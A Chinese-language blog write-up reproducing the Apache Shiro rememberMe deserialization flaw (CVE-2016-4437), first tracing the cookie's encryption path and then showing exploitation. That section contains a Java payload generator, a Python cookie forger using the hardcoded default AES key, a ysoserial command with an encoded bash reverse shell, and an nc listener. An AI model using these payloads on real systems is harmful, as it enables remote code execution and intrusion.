一、漏洞简介
Apache Shiro 作为常用的 Java安全框架,拥有执行身份验证、授权、密码和会话管理等功能,可以和不同的框架进行整合,比如 springboot、spring 等,使用十分方便。
影响版本:
Apache Shiro <= 1.2.4
漏洞原因:
Apache Shiro 默认使用了CookieRememberMeManage。
其处理cookie的流程:
1、得到Cookie中RemeberMe字段的值
2、base64解码
3、AES解密
4、反序列化
然而这里的AES的密匙是硬编码(即密匙是写死在代码中的),所以可以
下面是登陆成功时,Set-Cookie 设置rememberMe字段的内容
二、rememberMe字段生成过程
这里下载了网上的代码,使用 springboot + shiro ,为了更好地理解其中的步骤
首先进入登录页面,输入账号密码:admin/123
1、登录
主要注意这里的subject.login(token)
,token就是账号密码生成的
跟进subject.login(token)
:
跟进this.securityManager.login
继续跟进this.authenticate(token)
,关注这个info对象,info返回的是 SimpleAuthenticationinfo 对象,就是 admin
跟进到this.onSuccessfulLogin()
,info对象被传到 该方法中:
继续跟进,这里的rmm获取到的是 CookieRemeberMeManager对象,调用它的方法:
继续跟进rmm.onSuccessfulLogin()
,这里的第一步是用来清除cookie的:
继续跟进 removeForm方法:
这里的操作是设置set-cookie的值的,其实就是我们看到的这一部分:
接下来回到rmm.onSuccessfulLogin()
方法,跟进this.rememberIdentity()
方法:
跟进rememberIdentity()
:
这里应该就是序列化对象的操作了,给rememberMe
字段添加内容
序列化(serialize)之后就是AES加密(encrypt),下图getEncryptionCipherKey()
获取的就是硬编码的密匙:
在这个抽象类被实例化后(子类继承后),默认的密匙和加密对象就已经设置好了(硬编码):
回到上面,跟进this.rememberSerializedIdentity()
方法:
这一步就是base64编码,并且将编码后的数据放到cookie中,也就是我们cookie中所看到的数据了
到这里,我们已经把rememberMe字段生成的整个流程看了一遍(也就是加密的过程)
三、反序列化利用
上面是加密,这一步就是解密了
加密的流程为:
序列化 –> AES加密 –> base64编码
那么解密就是:
base64解码 –> AES解密 –> 反序列化
同样,如果我们想构造payload,同样要经过加密的流程
package com.example.demo3.demo;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.ClassResolvingObjectInputStream;
import java.io.*;
public class Demo1 extends AesUtils {
public static void main(String[] args) throws IOException, ClassNotFoundException {
// SimpleAuthenticationInfo info = new SimpleAuthenticationInfo(test, "", "");
Test test = new Test();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
// 1. 序列化恶意对象
// 创建对象输出流,用于序列化对象
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(test);
// 2. 加密恶意对象(byte数组)
AesUtils aesUtils = new AesUtils();
byte[] encryptByte = aesUtils.encrypt(baos.toByteArray());
// 3. 转为base64
String base64 = Base64.encodeToString(encryptByte);
System.out.println(base64);
}
}
class Test implements Serializable {
private void readObject(ObjectInputStream in) {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
运行后生成payload:
bp发送payload,弹出计算器:
到这整个流程就结束了
反序列化问题
在自己复现的过程最后那个还是遇到了一些问题
上面的代码在项目中已经存在的,所以反序列化时可以成功,但当时我把上面的代码复制出来运行时就会报错:
显示无法加载该类(应该就是因为类文件不存在的原因)
那么面对一个未知的情况,我们如何构造?
下面利用python脚本生成的是JRMPClient的payload
四、ysoserial-JRMP模块分析
在对CVE-2016-4437漏洞复现的其他WP中,都使用了ysoserial-JRMP模块
4.1 具体流程:
1、vps上利用ysoserial工具开启一个JRMP监听端口
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0MS4xMjgvNDQ0NCAwPiYx==}|{base64,-d}|{bash,-i}'
2、利用检测到的AES密匙,使用脚本生成rememberMe字段的加密内容
python shiro.py 192.168.241.129:6666 //python2运行
//这里的端口就是JRMP的端口
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") #密匙
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print ("rememberMe={0}".format(payload.decode()))
这里的原理应该是序列化了一个JRMPClient类(使用的是ysoserial),然后利用python给序列化数据进行AES加密,在这一步之前还有异步检测密匙,不同版本的默认密匙应该不同,最后就是base64编码
3、在vps上监听端口
这里监听的端口是第一步JRMP中payload中反弹shell的端口
nc -lvvp 4444
4、bp在客户端发送第二步生成的rememberMe的值,反弹shell(这里我没有反弹成功,也不知道为什么)
4.2 JRMP协议
什么是JRMP?
全称Java Remote Method Protocol,也就是Java远程方法协议
该协议基于TCP/IP协议之上,在RMI协议之下,也就是说RMI传递时,底层使用的是JRMP协议,而JRMP底层则是基于TCP传递
RMI默认使用JRMP协议传递数据(并不唯一),并且JRMP协议只能作用于RMI协议(唯一)
总的来说,RMI协议集合了Java序列化和Java远程方法协议(Java Remote Method Protocol),是一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法,是分布式应用之间调用的一种手段。笔者个人的理解就是它实现了 java 远程模块之间的共享。
小饭店原来只有一个厨师,切菜洗菜备料炒菜全干。后来客人多了,厨房一个厨师忙不过来,又请了个厨师,两个厨师都能炒一样的菜,这两个厨师的关系是集群。为了让厨师专心炒菜,把菜做到极致,又请了个配菜师负责切菜,备菜,备料,厨师和配菜师的关系是分布式,一个配菜师也忙不过来了,又请了个配菜师,两个配菜师关系是集群。
参考链接:
https://blog.csdn.net/qq_45927266/article/details/120274446
https://blog.csdn.net/huangyongkang666/article/details/124175812
- 本文链接:http://siii0.github.io/CVE-2016-4457%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
- 版权声明:本博客所有文章除特别声明外,均默认采用 许可协议。